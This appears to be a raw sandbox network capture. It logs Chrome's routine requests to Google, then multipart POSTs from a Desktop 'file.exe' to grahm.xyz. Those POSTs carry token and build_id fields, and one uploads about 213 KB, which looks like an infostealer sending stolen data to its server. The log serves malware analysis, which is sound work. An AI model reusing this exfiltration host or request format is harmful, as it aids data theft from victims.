2024-12-12 15:46:48 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 15:46:47 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-U9on7KxdPUteB9Zl5Fqs3g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-12 15:46:48 UTC	124	IN	Data Raw: 33 32 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 61 6e 20 64 69 65 67 6f 20 6d 6c 73 20 65 78 70 61 6e 73 69 6f 6e 20 64 72 61 66 74 22 2c 22 6f 70 65 6e 61 69 20 63 68 61 74 67 70 74 20 6f 75 74 61 67 65 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 64 65 63 65 6d 62 65 72 20 31 32 22 2c 22 69 70 68 6f 6e 65 20 69 6f 73 20 31 38 2e 32 20 Data Ascii: 325)]}'["",["san diego mls expansion draft","openai chatgpt outage","nyt connections hints december 12","iphone ios 18.2
2024-12-12 15:46:48 UTC	688	IN	Data Raw: 72 65 6c 65 61 73 65 20 64 61 74 65 22 2c 22 77 61 6c 67 72 65 65 6e 73 20 62 6f 6f 74 73 20 61 6c 6c 69 61 6e 63 65 20 70 72 69 76 61 74 65 20 65 71 75 69 74 79 22 2c 22 63 6f 6f 6b 69 6e 67 20 77 69 74 68 20 6b 79 61 20 72 65 63 69 70 65 73 22 2c 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 22 2c 22 65 61 73 74 20 63 6f 61 73 74 20 77 65 61 74 68 65 72 20 62 6f 6d 62 20 63 79 63 6c 6f 6e 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 Data Ascii: release date","walgreens boots alliance private equity","cooking with kya recipes","nyt strands hints","east coast weather bomb cyclone"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRp
2024-12-12 15:46:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49722	172.217.19.228	443	6400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:47 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49723	172.217.19.228	443	6400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:47 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-12 15:46:48 UTC	1018	IN	HTTP/1.1 200 OK Version: 704846385 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 12 Dec 2024 15:46:47 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-12 15:46:48 UTC	372	IN	Data Raw: 31 64 35 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1d56)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-12 15:46:48 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-12 15:46:48 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-12 15:46:48 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-12 15:46:48 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-12 15:46:48 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 36 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700256,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-12-12 15:46:48 UTC	196	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 0d 0a Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Md\u003d
2024-12-12 15:46:48 UTC	312	IN	Data Raw: 31 33 31 0d 0a 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6e 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 50 64 5c 75 30 30 33 64 5b 4c 64 28 5c 22 64 61 74 61 5c 22 29 2c 4c 64 28 5c 22 68 74 74 70 5c 22 29 2c 4c 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 4c 64 28 5c 22 6d 61 Data Ascii: 131globalThis.trustedTypes;_.Nd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Od\u003dnew _.Nd(\"about:invalid#zClosurez\");_.Kd\u003dclass{constructor(a){this.nh\u003da}};_.Pd\u003d[Ld(\"data\"),Ld(\"http\"),Ld(\"https\"),Ld(\"ma
2024-12-12 15:46:48 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 51 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 51 64 28 5f 2e 4d 64 3f 5f 2e 4d 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 56 64 2c 69 65 2c 55 64 2c 57 64 2c 61 65 3b 5f 2e 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 Data Ascii: 8000\|$)/.test(a))];_.Qd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Rd\u003dnew _.Qd(_.Md?_.Md.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Vd,ie,Ud,Wd,ae;_.Sd\u003dfunction(a){return a\u003d\u003dnull?a:Numb
2024-12-12 15:46:48 UTC	1390	IN	Data Raw: 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 54 64 28 5f 2e 4c 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 53 64 28 5f 2e 4c 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 Data Ascii: rray\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.fe\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.ge\u003dfunction(a,b){return _.Td(_.Lc(a,b))};_.S\u003dfunction(a,b){return _.Sd(_.Lc(a,b))};_.T\u003df

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49724	172.217.19.228	443	6400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:47 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-12 15:46:48 UTC	933	IN	HTTP/1.1 200 OK Version: 704846385 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 12 Dec 2024 15:46:47 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-12 15:46:48 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-12 15:46:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49737	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:52 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IW4WT2NOZMOZU3E3ECTR User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 505 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:52 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 57 34 57 54 32 4e 4f 5a 4d 4f 5a 55 33 45 33 45 43 54 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 49 57 34 57 54 32 4e 4f 5a 4d 4f 5a 55 33 45 33 45 43 54 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 49 57 34 57 54 32 4e 4f 5a 4d 4f 5a 55 33 45 33 45 43 54 52 0d 0a 43 6f 6e 74 Data Ascii: ------IW4WT2NOZMOZU3E3ECTRContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------IW4WT2NOZMOZU3E3ECTRContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------IW4WT2NOZMOZU3E3ECTRCont
2024-12-12 15:46:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:46:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:46:53 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49739	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:54 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----900ZM7Y5XBIMYUKF3O89 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:54 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 30 30 5a 4d 37 59 35 58 42 49 4d 59 55 4b 46 33 4f 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 39 30 30 5a 4d 37 59 35 58 42 49 4d 59 55 4b 46 33 4f 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 39 30 30 5a 4d 37 59 35 58 42 49 4d 59 55 4b 46 33 4f 38 39 0d 0a 43 6f 6e 74 Data Ascii: ------900ZM7Y5XBIMYUKF3O89Content-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------900ZM7Y5XBIMYUKF3O89Content-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------900ZM7Y5XBIMYUKF3O89Cont
2024-12-12 15:46:54 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 